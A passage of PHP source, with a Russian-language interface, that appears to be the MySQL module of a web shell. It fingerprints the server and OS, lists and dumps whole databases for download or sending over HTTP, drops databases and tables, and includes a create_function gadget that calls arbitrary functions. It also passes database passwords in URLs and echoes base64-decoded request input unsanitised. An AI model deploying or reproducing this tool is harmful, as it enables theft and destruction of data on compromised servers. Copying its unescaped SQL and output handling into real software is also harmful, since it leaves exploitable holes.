  444. fclose($fp);
  445. }
  446. if ($_REQUEST['strukt']=='t_strukt'){
  447. $host = $HTTP_SERVER_VARS["SERVER_NAME"];
  448. $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
  449. $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
  450. mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
  451. $fp = fopen($file, "w");
  452. fputs ($fp, "# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
  453. date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
  454. $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
  455. $row = mysql_fetch_row($res);
  456. fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
  457. fputs($fp, $row[1].";\n\n");
  458. fclose($fp);
  459. }
  460. if ($_REQUEST['strukt']=='d'){
  461. $host = $HTTP_SERVER_VARS["SERVER_NAME"];
  462. $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
  463. $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
  464. mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
  465. $fp = fopen($file, "w");
  466. $res = mysql_query("SELECT * FROM `$tbl`", $connection);
  467. if (mysql_num_rows($res) > 0) {
  468. while ($row = mysql_fetch_assoc($res)) {
  469. $keys = implode("`, `", array_keys($row));
  470. $values = array_values($row);
  471. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  472. $values = implode("', '", $values);
  473. $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
  474. fputs($fp, $sql);
  475. }
  476. }
  477. fclose($fp);
  478. }
  479. download($f_dump);
  480. }
  481. if ($_REQUEST['img']=='b_close') {
  482. $b_close='R0lGODlhdwAUAOYAANWEhdJYWNiwsc0PD9aTk88sLNA7O9rNztehotR1dk0AANQnJ4IAANc1Ndg9PWYAAL4'.
  483. 'AAM8PD6AAANg8POiLi8yEhb0sLIYAAGIAAMRYWOeGhtc5Oc8NDeR3d1gAANuEhU4AAKcAANJbW9Z1dt1XV8'.
  484. 'IAAONzc8QAAOqXl6gAAO2kpOJvb9IeHtuOj88QENYwMHUAANASEt9hYbAAAIwAAHkAAD0AAL0AAN5aWtQpK'.
  485. 'c4MDNROT0UAAKwAANtJSdQqKtAUFOqYmMwCAuR2dtuiou2jo95bW8l1dtc3N+ucnI4AAJMAAHoAAD4AANWK'.
  486. 'i+yfn5IAAOuZmdaVls4KCtlAQJQAAEAAANtMTOFra3EAAJEAALgAAOFpaWcAAOeFhXAAAN9dXeqVlTcAANg'.
  487. '6Ol4AANNnZ9m/wLUAANEbG9tKSoQAAOiOjuaCglYAAOJsbDQAANvc3cwAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
  488. 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAB3ABQAAAf/gFFFKk9ha4eIiYqLjI2Oj5CRk'.
  489. 'pOJGiY4GxwUQUkoFGygoaKjpKWmp6ipqqusokNGSBwzHV4UGh1uubq7vL2+v8DBwsPExbtgYy5nSjJYK1wk'.
  490. 'adLT1NXW19jZ2tvc1h8tRB/d2BsxW0tZPldpVD9o7/Dx8vP09fb3+PnxO3D9cCP66k05UwWGBwcTGiyIEKe'.
  491. 'hw4cQI0qcSLGixYsOB8A5UKYAxooQJDB4oAChQoYNBfgzEIeAvwQNzcg0w3KASzhmBrQ0A2CjTgJm4pShac'.
  492. 'BMmThmCAg1OnQmgaEsIwLteeDnyzg9AwCA2fCmgAFFZ8pUGkdAzoYhR5ZMuLChgQMA/xDgjAP3ZhwD/Q7MV'.
  493. 'UlAJYI4/QjohdkPKZwBPcvgRVCgXxmg/Yyq9Bgx8GC6AOz66/dXLgK+QyNDFgrnL1qRJE22bTggQBk4AOK0'.
  494. '7gmHdAKNAPAKCBAAZ2MBcXoD+A249uTXCfTCYUm8OIDhD4kLl621n8acGuE0n1s8ZW0z2h2mTc0WJWmfrzf'.
  495. 'OvWmdtj8Er2P3ThCfeGGXB5Q3jC97c22H/M2Xnl5mTGdYAnAcBVhQ1zWUWGkPjbfWSRC95gQcwE0HXnXPJf'.
  496. 'hQVi0tl1V8DYK3HHcgTqfXh3AEEKIIGAYHm4E4gYicjLGdF554qE24WoIBqCQFhgHodVQ/AKhUxv9rHJUhQ'.
  497. 'FEJvhYUeJAhIFdsjvVGFng69SSAS0E5BN6SOPW2m5HZBRllaWXo5VFiDfUGYYQ9qsYQXv585V8BeAbWkFz+'.
  498. 'FOePR/75o1iMCCpYWFmbRdXQntkNipU/OSq3nHeO9kMZj2rZ6RBvlLWmk0UFBMAchqV+pCpEv6XKWgCjOlR'.
  499. 'qrHe5ONFrptHZaXmrWsRfr8D+CqxF/TjKKUkv5MCCDiWc4eyz0EYrrbQZVGDBtNhmq62z1V677bfSWlDBEd'.
  500. 'OGQMMXHvAAhBA3pKCFGvDGK++89NZr77345qvvvvzKywQGIFjxxgk9QFEDBm0krPDCDDfs8MMQRyzxxBRXv'.
  501. 'DArCDa8oXEIF3ShgBgahyzyyCSXbPLJKKes8soso3wBGU20LPPMNNdsc8qBAAA7';
  502. send_header();
  503. echo base64_decode($b_close);
  504. }
  505. $n_img = create_function('$tag,$f_n,$img_c', 'print \'<\'.$tag.\'>\';$f_n("$img_c");');
  506. $h_error="<br><table align=center width=500 height=70 bgcolor=red><b>Ошибка в запросе:</b><tr><td align=center><br><h5>";
  507. $f_error="</h5></td></tr></table>
  508. <CENTER><FORM><INPUT type=\"button\" value=\" << Назад \" onClick=\"history.go(-1)\"><BR>
  509. </FORM></CENTER>
  510. </td></tr></table></td></tr></table>
  511. <table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#181818>
  512. <tr><td>
  513. <table align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
  514. </table>
  515. </td></tr>
  516. </table>
  517. </td></tr></table>";
  518. print "
  519. <html><HEAD><TITLE>MySQL</TITLE>
  520. <META http-equiv=Content-Type Pragma: no-cache; content=\"text/html; charset=windows-1251\">
  521. ".$mainmenu."</HEAD><BODY bgcolor=#181818 text=#ffffff onLoad=\"writeMenus()\" onResize=\"if (isNS4) nsResizeHandler()\"><br>";
  522. if ($sapi_type == "cgi") {
  523. $php_type="CGI";
  524. } else {
  525. $php_type="модуль";
  526. }
  527. $start_form="<br>
  528. <table align=center border=0 width=100% cellpadding=2 cellspacing=0 bgcolor=#181818>
  529. <tr>
  530. <td>
  531. <table align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#181818>
  532. <tr><td>
  533. <table border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
  534. <tr>
  535. <td width=25>
  536. &nbsp;
  537. </td>
  538. <td>
  539. <font size=4><b>MySQL</b></font>
  540. </td>
  541. <td width=33% align=right>
  542. ".date ("j F- Y- g:i")."&nbsp;&nbsp;
  543. </td>
  544. </tr>
  545. </table>
  546. </td></tr>
  547. </table>
  548. </td></tr>
  549. <tr><td>
  550. <table align=center border=0 width=80% cellpadding=2 cellspacing=0 bgcolor=#181818>
  551. <tr>
  552. <td bgcolor=#181818 valign=top width=200><br>
  553. <center><b>Утилита для работы с MySQL</b></center><hr width=98%>
  554. <li>Просмотр баз и таблиц.
  555. <li>Произвольные запросы к БД.
  556. <li>Редактирование баз и таблиц.
  557. <li>Дампы БД или таблиц.<hr width=98%>
  558. </td>
  559. <td bgcolor=#181818><center><font size=2>
  560. <br>Для соединения с сервером MySQL введите <b>ИМЯ</b>, <b>ПАРОЛЬ</b> (пользователя MySQL) и имя <b>ХОСТА</b>.</font></center><br>
  561. <li>Если логин юзера mysql не указан явно, по умолчанию подставляется имя владельца процесса.
  562. <li>Если пароль юзера mysql не указан явно, по умолчанию подставляется пустой пароль.
  563. <li>Если имя севрвера mysql не указано явно, по умолчанию подставляется <b>localhost</b>
  564. <li>Если порт для севрвера mysql не указан явно, подставляется порт по умолчанию, обычно (<b>3306</b>)<br><br>
  565. <center>Версия PHP (<b>".phpversion()."</b>)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ID PHP script (<b>".get_current_user( )."</b>)</center>
  566. <br><table align=center>
  567. <tr><td>имя юзера MySQL</td><td align=right>пароль юзера MySQL&nbsp;</td></tr>
  568. <form method=\"get\" action=\"$self\">
  569. <input type=hidden name=sec value=mysql>
  570. <input type=hidden name=workingdir value=".getcwd().">
  571. <input type=\"hidden\" name=\"s\" value=\"y\">
  572. <tr>
  573. <td><input type=\"text\" name=\"login\" value=\"root\" maxlength=\"64\"></td>
  574. <td align=right><input type=\"text\" name=\"passwd\" value=\"$passwd\" maxlength=\"64\"></td>
  575. </tr>
  576. <tr><td>Сервер MySQL</td><td>порт</td></tr>
  577. <tr>
  578. <td><input type=\"text\" name=\"server\" value=\"localhost\" maxlength=\"64\"></td>
  579. <td><input type=\"text\" name=\"port\" value=\"3306\" maxlength=\"6\" size=\"3\">
  580. <input type=\"submit\" value=\"подключиться\"></td>
  581. </tr></table><br>
  582. </td>
  583. </tr>
  584. </table>
  585. </td></tr>
  586. <tr><td>
  587. <table align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#181818>
  588. <tr><td>
  589. <table align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
  590. </table>
  591. </td></tr>
  592. </table>
  593. </td></tr></table>
  594. ";
  595. if ($os =='win') {
  596. $os="OS- <b>".$HTTP_ENV_VARS["OS"]."</b>";
  597. }else{
  598. $str_k=$_ENV["BOOT_FILE"];
  599. $k=preg_replace ("/[a-zA-Z\/]/","", $str_k);
  600. $os="OS\Kernel: <b>".$_ENV["BOOT_IMAGE"].$k."</b>";
  601. }
  602. if (!isset($s) || $_REQUEST[s] != 'y') { print $start_form;
  603. $serv = array(127,192,172,10);
  604. $adrr=@explode('.', $HTTP_SERVER_VARS["SERVER_ADDR"]);
  605. if (!in_array($adrr[0], $serv)) {
  606. }
  607. exit;
  608. }
  609. $form_ad_b="<br>
  610. <table width=80% align=center border=0 cellpadding=0 cellspacing=1 bgcolor=#181818>
  611. <tr>
  612. <td>
  613. <table width=100% align=center border=0 cellpadding=4 cellspacing=0 bgcolor=#181818>
  614. <td>
  615. MySQL <b>$server</b> v.(<b>".mysql_get_server_info()."</b>)
  616. </td>
  617. <td align=center>
  618. <b>".$HTTP_SERVER_VARS["SERVER_SOFTWARE"]."</b>
  619. </td>
  620. <td align=right>
  621. Версия PHP (<b>".phpversion()."</b>) $php_type
  622. </td>
  623. </tr>
  624. <tr bgcolor=#181818>
  625. <td>
  626. IP:<b>".$HTTP_SERVER_VARS["SERVER_ADDR"]."</b> Name:<b>".$HTTP_SERVER_VARS["SERVER_NAME"]."</b>
  627. </td>
  628. <td align=center>
  629. ID PHP script (<b>".get_current_user( )."</b>)
  630. </td>
  631. <td align=right>
  632. $os
  633. </td>
  634. </tr>
  635. </table>
  636. </td></tr></table>
  637. <table width=80% align=center border=0 cellpadding=5 cellspacing=1>
  638. <tr>
  639. <td>
  640. <a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&stat=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>Статистика MySQL</b></a>
  641. </td>
  642. <td align=right>
  643. <a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&proc=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>Процессы MySQL </b></a>
  644. </td>
  645. <td align=center>
  646. &nbsp;
  647. </td>
  648. </tr>
  649. <tr>
  650. <td>
  651. <a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&apc=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>Переменные Apache </b></a>
  652. </td>
  653. <td align=right>
  654. <a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&var=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>Переменные MySQL </b></a>
  655. </td>
  656. <td align=center>
  657. &nbsp;
  658. </td>
  659. </tr>
  660. </table><br>
  661. <table width=300 align=center cellpadding=0 cellspacing=1 bgcolor=#181818>
  662. <tr bgcolor=#181818><td>
  663. <table align=center cellpadding=0 cellspacing=0>
  664. <tr bgcolor=#181818>
  665. <td> <table cellpadding=4><tr><td><b>Создать новую базу данных</b></td></tr><tr><td>
  666. <form method=\"get\" action=\"$self\">
  667. <input type=hidden name=sec value=mysql>
  668. <input type=hidden name=workingdir value=".getcwd().">
  669. <input type=\"hidden\" name=\"s\" value=\"$s\">
  670. <input type=\"hidden\" name=\"server\" value=\"$server\">
  671. <input type=\"hidden\" name=\"port\" value=\"$port\">
  672. <input type=\"hidden\" name=\"login\" value=\"$login\">
  673. <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
  674. <input type=\"text\" name=\"new_db\" value=\"\" maxlength=\"64\">
  675. <input type=\"submit\" value=\"создать\"></td>
  676. </tr></table>
  677. </td>
  678. </tr>
  679. </table>
  680. </td>
  681. </tr></table></form>
  682. <table width=80% align=center border=0 cellpadding=0>
  683. <tr align=right>
  684. <td width=85%></td>
  685. <td width=15>
  686. <a href=$self><img src=".$self."?sec=mysql&workingdir=".getcwd()."&img=b_close border=0 title=close></a>
  687. </td>
  688. </tr>
  689. </table>
  690. ";
  691. $cnt_b=mysql_num_rows(mysql_list_dbs());
  692. print "
  693. <table align=center border=0 width=100% cellpadding=1 cellspacing=0 bgcolor=#181818>
  694. <tr>
  695. <td>
  696. <table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#181818>
  697. <tr><td>
  698. <table border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
  699. <tr>
  700. <td>
  701. &nbsp;
  702. </td>
  703. <td width=33%>
  704. <font size=4><b>MySQL</b></font>
  705. </td>
  706. <td width=33% align=center>
  707. <font color=blue><b>$server</b></font>&nbsp;[CONNECTION Ok] &nbsp;&nbsp;Всего баз: <b>$cnt_b</b>
  708. </td>
  709. <td width=33% align=right>
  710. ".date ("j F- Y- g:i")."&nbsp;&nbsp;
  711. </td>
  712. </tr>
  713. </table>
  714. </td></tr>
  715. </table>
  716. </td></tr>
  717. <tr><td>
  718. <table align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
  719. <tr>
  720. <td bgcolor=#181818 valign=top width=170>";
  721. if (isset($server)&&isset($port)&&isset($login)&&isset($passwd)){
  722. $connection = mysql_connect($server.":".$port, $login, $passwd) or die("$header<table align=center width=80% bgcolor=red><tr><br>Ошибка соединения с MySQL сервером <b>$server</b><td><center><font size=2><b>".mysql_error()."</b></font></center><br><b>Вероятные ошибки:</b><li>Не правильный адрес сервера <b>$server</b><li>Не правильный номер порта <b>$port</b><li>Не верное имя (login) юзера mysql <b>$login</b><li>Не верный пароль (password) юзера mysql <b>$passwd</b><li>Доступ к серверу $server запрещен с адреса <b>".getenv('REMOTE_ADDR')."</b><li>Удаленный сервер временно не доступен</td></tr></table><br></td></tr></table><script>alert('Не возможно установить соединение с MySQL сервером $server \\n\\n Проверьте правильность входящих данных:\\n\\nсервер $server\\nпорт $port\\nимя $login\\nпароль $passwd');</script><head><META HTTP-EQUIV='Refresh' CONTENT='3;url=$self'></head>");
  723. }
  724. if ($connection&&!isset($db)) {
  725. print "<table border=0 cellpadding=0 cellspacing=1 width=100% bgcolor=#181818><tr><td bgcolor=#181818 align=center>".
  726. "<a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Вернуться в начало и обновить список баз\"><font color=green><b>".
  727. "Показать&nbsp;все&nbsp;базы</b></font></a></td></tr></table>";
  728. $result = mysql_list_dbs($connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
  729. while ( $row=mysql_fetch_row($result) ){
  730. $cnt_title=mysql_num_rows(mysql_list_tables($row[0]));
  731. print "<table valign=top border=0 width=100% cellpadding=0 cellspacing=1 bgcolor=#181818><tr><td bgcolor=#181818>";
  732. if ($cnt_title < 1) {
  733. print "<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$row[0]&cr_tbl=new&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Всего таблиц $cnt_title\"><b>$row[0]</b></a>";
  734. }else{
  735. print "<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$row[0]&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Всего таблиц $cnt_title\"><b>$row[0]</b></a>";
  736. }
  737. print "</td></tr></table>";
  738. }
  739. }
  740. if (isset($db)){
  741. $result=mysql_list_tables($db) or die ("$h_error<b>".mysql_error()."</b>$f_error<head><META HTTP-EQUIV='Refresh' CONTENT='5;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>");
  742. print "<table border=0 cellpadding=0 cellspacing=1 width=100% bgcolor=#181818><tr><td bgcolor=#181818 align=center>".
  743. "<a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port\"><font color=green><b>".
  744. "Показать&nbsp;все&nbsp;базы</b></font></a></td></tr><tr><td></td></tr><tr><td></td></tr></table>";
  745. print "<table cellpadding=0 cellspacing=1 width=100% bgcolor=#181818><tr><td bgcolor=#181818 align=center>".
  746. "---[ <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db\" title=\"обновить список таблиц\"><b>$db</b></a>".
  747. " ]---</a></td></tr><tr><td></td></tr><tr><td></td></tr></table>";
  748. while ( $row=mysql_fetch_array($result) ){
  749. $count=mysql_query ("SELECT COUNT(*) FROM $row[0]");
  750. $count_row= mysql_fetch_array($count);
  751. print "<table valign=top border=0 width=100% cellpadding=0 cellspacing=1 bgcolor=#181818>".
  752. "<tr><td bgcolor=#181818>";
  753. if ($count_row[0] < 1) {
  754. print "<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$row[0]&nn_row=ok\">$row[0]</a>&nbsp;($count_row[0])</td></tr></table>";
  755. }else{
  756. print "<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$row[0]&limit_start=0&limit_count=5\">$row[0]</a>&nbsp;($count_row[0])</td></tr></table>";
  757. }
  758. @mysql_free_result($count);
  759. }
  760. }
  761. print "
  762. </td>
  763. <td valign=top bgcolor=#181818>";
  764. if ($connection&&!isset($db)) {
  765. $anon = @mysql_query("SELECT Host,User FROM mysql.user WHERE User=''", $connection);
  766. if (mysql_num_rows($anon)>0) { print "<table align=center><tr><td><b>Внимание!<b></td></tr><tr><td bgcolor=red>Анонимным пользователям разрешено подключение к серверу MySQL</td></tr></table>"; }
  767. print $form_ad_b;
  768. }
  769. if (isset($proc) && $proc=="TRUE"){
  770. $result = mysql_query("SHOW PROCESSLIST", $connection);
  771. print "<center><font size=2>Процессы MySQL сервера [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#181818><tr align=center bgcolor=#181818><td>ID</td><td>USER</td><td>HOST</td><td>DB</td><td>COMMAND</td><td>TIME</td><td>STATE</td><td>INFO</td></tr>";
  772. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
  773. print "<tr bgcolor=#181818><td>$row[0]</td><td>$row[1]</td><td>$row[2]</td><td>$row[3]</td><td>$row[4]</td><td>$row[5]</td><td>$row[6]</td><td>$row[7]</td></tr>";
  774. }
  775. print "</table><br>";
  776. mysql_free_result($result);
  777. unset($proc);
  778. }
  779. if (isset($_REQUEST['new_db'])){
  780. $new_db=trim($_REQUEST['new_db']);
  781. if (mysql_create_db ($new_db)) {
  782. print ("<center><font size=2>База <b>$new_db</b> успешно создана</font></center><br>");
  783. print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
  784. } else {
  785. print "$h_error".mysql_error()."$f_error <head><META HTTP-EQUIV='Refresh' CONTENT='5;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
  786. }
  787. unset($new_db);
  788. }
  789. if (isset($_REQUEST['drop'])){
  790. $result_d = mysql_list_dbs($connection) or die("<td bgcolor=#181818>$h_error".mysql_error()."$f_error</td></tr></table>");
  791. while ( $row_d=mysql_fetch_row($result_d) ){
  792. if ($drop==$row_d[0]) $dr="TRUE";
  793. }
  794. if ($dr="TRUE") {
  795. mysql_drop_db($drop,$connection);
  796. print ("<center><font size=2>База <b>$drop</b> успешно удалена</font></center><br>");
  797. print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
  798. }
  799. unset($drop);
  800. }
  801. if (isset($apc) && $apc=="TRUE"){
  802. print "<center><font size=2>Переменные сервера Apache [ <b>$server</b> ]</font><center>
  803. <table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#181818>
  804. <tr align=center bgcolor=#181818>
  805. <td>Описание</td><td>Переменная</td>
  806. </tr>
  807. <tr bgcolor=#181818><td>Имя Internet-хоста</td><td>".$HTTP_SERVER_VARS["SERVER_NAME"]."</td></tr>
  808. <tr bgcolor=#181818><td>IP-адрес хоста</td><td>".$HTTP_SERVER_VARS["SERVER_ADDR"]."</td></tr>
  809. <tr bgcolor=#181818><td>Порт Web-сервера.</td><td>".$HTTP_SERVER_VARS["SERVER_PORT"]."</td></tr>
  810. <tr bgcolor=#181818><td>Спецификация CGI интефейса.</td><td>".$HTTP_SERVER_VARS["GATEWAY_INTERFACE"]."</td></tr>
  811. <tr bgcolor=#181818><td>Протокол при запросе данной страницы (метод).</td><td>".$HTTP_SERVER_VARS["REQUEST_METHOD"]."</td></tr>
  812. <tr bgcolor=#181818><td>Root директория для данного пользователя.</td><td>".$HTTP_SERVER_VARS["DOCUMENT_ROOT"]."</td></tr>
  813. <tr bgcolor=#181818><td>Заголовок текущего запроса.</td><td>".$HTTP_SERVER_VARS["HTTP_CONNECTION"]."</td></tr>
  814. <tr bgcolor=#181818><td>Директива httpd.conf (SERVER_ADMIN).</td><td>".$HTTP_SERVER_VARS["SERVER_ADMIN"]."</td></tr>
  815. <tr bgcolor=#181818><td>Сигнатура сервера.</td><td>".$HTTP_SERVER_VARS["SERVER_SIGNATURE"]."</td></tr>
  816. </table><br>";
  817. unset($apc);
  818. }
  819. if (isset($stat) && $stat=="TRUE"){
  820. $result = mysql_query("SHOW STATUS", $connection);
  821. print "<center><font size=2>Переменные состояния MySQL сервера [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=400 bgcolor=#181818><tr align=center bgcolor=#181818><td>Переменные состояния сервера</td><td>значения переменных</td></tr>";
  822. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
  823. print "<tr bgcolor=#181818><td>$row[0]</td><td>$row[1]</td></tr>";
  824. }
  825. print "</table>";
  826. mysql_free_result($result);
  827. }
  828. if (isset($var) && $var=="TRUE"){
  829. $result = mysql_query("SHOW VARIABLES ", $connection);
  830. print "<center><font size=2>Системные переменные MySQL сервера [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#181818><tr align=center bgcolor=#181818><td>Переменные сервера</td><td>значения переменных</td></tr>";
  831. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
  832. print "<tr bgcolor=#181818><td>$row[0]</td><td>$row[1]</td></tr>";
  833. }
  834. print "</table>";
  835. mysql_free_result($result);
  836. unset($var);
  837. }
  838. if (isset($db) && !isset($tbl)) {
  839. $cnt=mysql_num_rows(mysql_list_tables($db));
  840. print "<table border=0 align=center width=100% cellpadding=0 cellspacing=0>
  841. <tr>
  842. <td>
  843. <table border=0 align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#181818>
  844. <tr align=center>
  845. <td width=20% bgcolor=#181818>
  846. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&cr_tbl=new\" title=\"Создать новую таблицу в базе $db\"><b>Создать таблицу</b></a>
  847. </td>
  848. <td width=20% bgcolor=#181818>
  849. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&query_tbl&q_tbl=bd\" title=\"Произвольный запрос к базе\"><b>SQL-запрос</b></a>
  850. </td>
  851. <td width=20% bgcolor=#181818>
  852. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&str=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Показать структуру БД\"><b>структура</b></a>
  853. </td>
  854. <td width=20% bgcolor=#181818>
  855. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&dump=bd\" title=\"Экспорт данных базы $db\"><b>Дамп базы</b></a>
  856. </td>
  857. <td width=20% bgcolor=#181818>
  858. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&drop=$db&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Удалить БД $db\" onClick=\"return confirm('Удалить базу $db ?')\";><b>удалить базу</b></a>
  859. </td>
  860. </tr>
  861. </table>
  862. </td>
  863. </tr>
  864. <tr>
  865. <td><br>";
  866. print "&nbsp;&nbsp;БД:(<b>$db</b>) &nbsp;&nbsp;Всего таблиц:(<b>$cnt</b>)";
  867. if (isset($t)) { print "<br>&nbsp;&nbsp;";}
  868. if (isset($t2)) { print base64_decode($t2);}
  869. if (isset($str) && $str=='TRUE'){
  870. mysql_select_db($db);
  871. if ($cnt < 1) {
  872. print "<table border=1 width=400 align=center bgcolor=#181818><tr align=center>".
  873. "<td><br><h5>Невозможно показать структуру базы<br>В базе <font color=blue>".
  874. "$db</font> нет таблиц!</h5></td></tr></table><br><br>";
  875. }else{
  876. $result = mysql_query("SHOW TABLE STATUS", $connection);
  877. print "<br><center><font size=2>Структура базы [ <b>$db</b> ]</font></center>".
  878. "<table align=center border=0 cellpadding=0 cellspacing=1 width=650 bgcolor=#181818>".
  879. "<tr align=center bgcolor=#181818><td>имя таблицы</td><td>тип</td><td>рядов</td><td>создана</td>".
  880. "<td>модифицирована</td><td>размер(kb)</td><td>действие</td></tr>";
  881. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
  882. $size=$row[5]/1000;
  883. print "<tr bgcolor=#181818><td>$row[0]</td><td>$row[1]</td><td align=center>$row[3]</td>".
  884. "<td>$row[10]</td><td>$row[11]</td><td align=center>$size</td><td bgcolor=red align=center>".
  885. "<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&login=$login&passwd=$passwd&server=$server&".
  886. "port=$port&drop_table=$row[0]\" onClick=\"return confirm('Удалить таблицу $row[0]?')\";>уничтожить</a></td>
  887. </tr>";
  888. }
  889. print "</table><br>";
  890. mysql_free_result($result);
  891. }
  892. }
  893. print "</td>
  894. </tr>
  895. </table>";
  896. }
  897. $form_dump_bd=
  898. "<form method=\"get\" action=\"$self\">".
  899. "<input type=\"hidden\" name=\"s\" value=\"$s\"><input type=hidden name=sec value=mysql>
  900. <input type=hidden name=workingdir value=".getcwd().">".
  901. "<input type=\"hidden\" name=\"db\" value=\"$db\">".
  902. "<input type=\"hidden\" name=\"server\" value=\"$server\">".
  903. "<input type=\"hidden\" name=\"port\" value=\"$port\">".
  904. "<input type=\"hidden\" name=\"login\" value=\"$login\">".
  905. "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
  906. "<input type=\"hidden\" name=\"f_dump\" value=\"$file\">".
  907. "<input type=\"hidden\" name=\"dump\" value=\"bd\">".
  908. "<input type=\"hidden\" name=\"strukt\" value=\"d_strukt_bd\">".
  909. "<table align=center bgcolor=#181818 width=400 cellpadding=0 cellspacing=1 border=0><tr bgcolor=#181818><td valign=top>".
  910. "<table cellpadding=2 bgcolor=#181818 width=100%>".
  911. "<tr><td align=center><b>Dump базы</b> [ <font color=green><b>$db</b></font> ]</td></tr>".
  912. "<tr><td align=center><font color=gray><b>Структура и данные</b></font></td></tr>".
  913. "<tr><td align=center><hr size=1 color=#FFFFFF><b>Действие</b> (показать/отправить)</td></tr>".
  914. "<tr><td><input type=\"radio\" name=\"send\" value=\"send_br\" checked=\"checked\"> Показать в броузере</td></tr>".
  915. "<tr><td><input type=\"radio\" name=\"send\" value=\"send_http\"> Отправить файл дампа по HTTP</td></tr>".
  916. "<tr><td align=center><br><input type=\"submit\" value=\"Выполнить запрос\"></td></tr>".
  917. "</table>".
  918. "</td></tr></table></form>";
  919. if ($_REQUEST['dump']=='bd') {
  920. if ($cnt >= 1) {
  921. print $form_dump_bd;
  922. }else{
  923. print "<table border=1 width=400 align=center bgcolor=#181818><tr align=center>".
  924. "<td><br><h5>Невозможно сделать дамп базы<br>В базе <font color=blue>".
  925. "$db</font> нет таблиц!</h5></td></tr></table><br><br>";
  926. }
  927. }
  928. $host = $HTTP_SERVER_VARS["SERVER_NAME"];
